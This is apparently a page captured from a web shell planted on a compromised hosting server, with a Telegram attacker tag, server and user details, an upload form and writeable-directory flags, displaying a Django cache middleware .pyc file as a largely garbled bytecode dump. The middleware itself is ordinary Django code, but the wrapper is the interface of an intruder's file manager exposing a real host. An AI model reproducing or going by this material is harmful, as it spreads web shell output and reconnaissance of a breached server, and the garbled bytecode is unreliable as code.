https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib64/python2.7/site-packages/django/middleware/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.7/site-packages/django/middleware/cache.pyc
�
r�\c@s�dZddlZddlmZddlmZmZddlmZm	Z	m
Z
mZmZde
fd��YZde
fd	��YZd
eefd��YZdS(s�
Cache middleware. If enabled, each Django-powered page will be cached based on
URL. The canonical way to enable cache middleware is to set
``UpdateCacheMiddleware`` as your first piece of middleware, and
``FetchFromCacheMiddleware`` as the last::

    MIDDLEWARE_CLASSES = [
        'django.middleware.cache.UpdateCacheMiddleware',
        ...
        'django.middleware.cache.FetchFromCacheMiddleware'
    ]

This is counter-intuitive, but correct: ``UpdateCacheMiddleware`` needs to run
last during the response phase, which processes middleware bottom-up;
``FetchFromCacheMiddleware`` needs to run last during the request phase, which
processes middleware top-down.

The single-class ``CacheMiddleware`` can be used for some simple sites.
However, if any other piece of middleware needs to affect the cache key, you'll
need to use the two-part ``UpdateCacheMiddleware`` and
``FetchFromCacheMiddleware``. This'll most often happen when you're using
Django's ``LocaleMiddleware``.

More details about how the caching works:

* Only GET or HEAD-requests with status code 200 are cached.

* The number of seconds each page is stored for is set by the "max-age" section
  of the response's "Cache-Control" header, falling back to the
  CACHE_MIDDLEWARE_SECONDS setting if the section was not found.

* This middleware expects that a HEAD request is answered with the same response
  headers exactly like the corresponding GET request.

* When a hit occurs, a shallow copy of the original response object is returned
  from process_request.

* Pages will be cached based on the contents of the request headers listed in
  the response's "Vary" header.

* This middleware also sets ETag, Last-Modified, Expires and Cache-Control
  headers on the response object.

i����N(tsettings(t	get_cachetDEFAULT_CACHE_ALIAS(t
get_cache_keytget_max_agethas_vary_headertlearn_cache_keytpatch_response_headerstUpdateCacheMiddlewarecBs2eZdZd�Zd�Zd�Zd�ZRS(s>
    Response-phase cache middleware that updates the cache if the response is
    cacheable.

    Must be used as part of the two-part update/fetch cache middleware.
    UpdateCacheMiddleware must be the first piece of middleware in
    MIDDLEWARE_CLASSES so that it'll get called last during the response phase.
    cCsOtj|_tj|_ttdt�|_tj|_	t
|j	�|_dS(NtCACHE_MIDDLEWARE_ANONYMOUS_ONLY(RtCACHE_MIDDLEWARE_SECONDSt
cache_timeouttCACHE_MIDDLEWARE_KEY_PREFIXt
key_prefixtgetattrtFalsetcache_anonymous_onlytCACHE_MIDDLEWARE_ALIAStcache_aliasRtcache(tself((s9/tmp/pip-install-XxeQeY/django/django/middleware/cache.pyt__init__?s
cCs'y|jjSWntk
r"tSXdS(N(tsessiontaccessedtAttributeErrorR(Rtrequest((s9/tmp/pip-install-XxeQeY/django/django/middleware/cache.pyt_session_accessedFs
cCskt|d�s|jrtS|jrg|j|�rgt|d�sQtd��|jj�rgtSntS(Nt_cache_update_cachetusers�The Django cache middleware with CACHE_MIDDLEWARE_ANONYMOUS_ONLY=True requires authentication middleware to be installed. Edit your MIDDLEWARE_CLASSES setting to insert 'django.contrib.auth.middleware.AuthenticationMiddleware' before the CacheMiddleware.(	thasattrRRRRtAssertionErrorRtis_authenticatedtTrue(RRtresponse((s9/tmp/pip-install-XxeQeY/django/django/middleware/cache.pyt_should_update_cacheLsc
s�j||�s|S|js.|jdkr2|S|jrX|jrXt|d�rX|St|���dkr|�j�n�dkr�|St	|���rt
||��jd�j��t
|d�r�t|j�r�|j���fd��q�jj�|��n|S(sSets the cache, if needed.i�tCookieiRtrendercs�jj�|��S(N(Rtset(tr(t	cache_keyRttimeout(s9/tmp/pip-install-XxeQeY/django/django/middleware/cache.pyt<lambda>usN(R"t	streamingtstatus_codetCOOKIEStcookiesRRtNoneRRRR
RRtcallableR$tadd_post_render_callbackR%(RRR!((R'RR(s9/tmp/pip-install-XxeQeY/django/django/middleware/cache.pytprocess_responseYs&"
!(t__name__t
__module__t__doc__RRR"R1(((s9/tmp/pip-install-XxeQeY/django/django/middleware/cache.pyR6s
			
tFetchFromCacheMiddlewarecBs eZdZd�Zd�ZRS(s)
    Request-phase cache middleware that fetches a page from the cache.

    Must be used as part of the two-part update/fetch cache middleware.
    FetchFromCacheMiddleware must be the last piece of middleware in
    MIDDLEWARE_CLASSES so that it'll get called last during the request phase.
    cCs:tj|_tj|_tj|_t|j�|_dS(N(	RR
RRR
RRRR(R((s9/tmp/pip-install-XxeQeY/django/django/middleware/cache.pyR�scCs�|jdkrt|_dSt||jdd|j�}|dkrSt|_dS|jj|d�}|dkr�|jdkr�t||jdd|j�}|jj|d�}n|dkr�t|_dSt|_|S(sp
        Checks whether the page is already cached and returns the cached
        version if available.
        tGETtHEADR(sGETsHEADN(	tmethodRRR.RR
RR tget(RRR'R!((s9/tmp/pip-install-XxeQeY/django/django/middleware/cache.pytprocess_request�s 				(R2R3R4RR:(((s9/tmp/pip-install-XxeQeY/django/django/middleware/cache.pyR5{s	tCacheMiddlewarecBseZdZddd�ZRS(s�
    Cache middleware that provides basic behavior for many simple sites.

    Also used as the hook point for the cache decorator, which is generated
    using the decorator-from-middleware utility.
    cKsti}y9|d|_|jdk	r5|j|d<n	d|_Wn*tk
rktj|_|j|d<nXyE|d|_|jdkr�t|_n|dk	r�||d<nWnCtk
r�tj|_|dkr�tj|d<q�||d<nX|dkrt	tdt
�|_n	||_|jrLd}tj
|tdd	�nt|j|�|_|jj|_dS(
NR
t
KEY_PREFIXtRtTIMEOUTR	sVCACHE_MIDDLEWARE_ANONYMOUS_ONLY has been deprecated and will be removed in Django 1.8.t
stackleveli(R
R.tKeyErrorRRRRRR
RRRtwarningstwarntPendingDeprecationWarningRRtdefault_timeoutR(RRRtkwargstcache_kwargstmsg((s9/tmp/pip-install-XxeQeY/django/django/middleware/cache.pyR�s8




		N(R2R3R4R.R(((s9/tmp/pip-install-XxeQeY/django/django/middleware/cache.pyR;�s(R4RAtdjango.confRtdjango.core.cacheRRtdjango.utils.cacheRRRRRtobjectRR5R;(((s9/tmp/pip-install-XxeQeY/django/django/middleware/cache.pyt<module>,s(E*

https://t.me/AnonymousX5 - 2025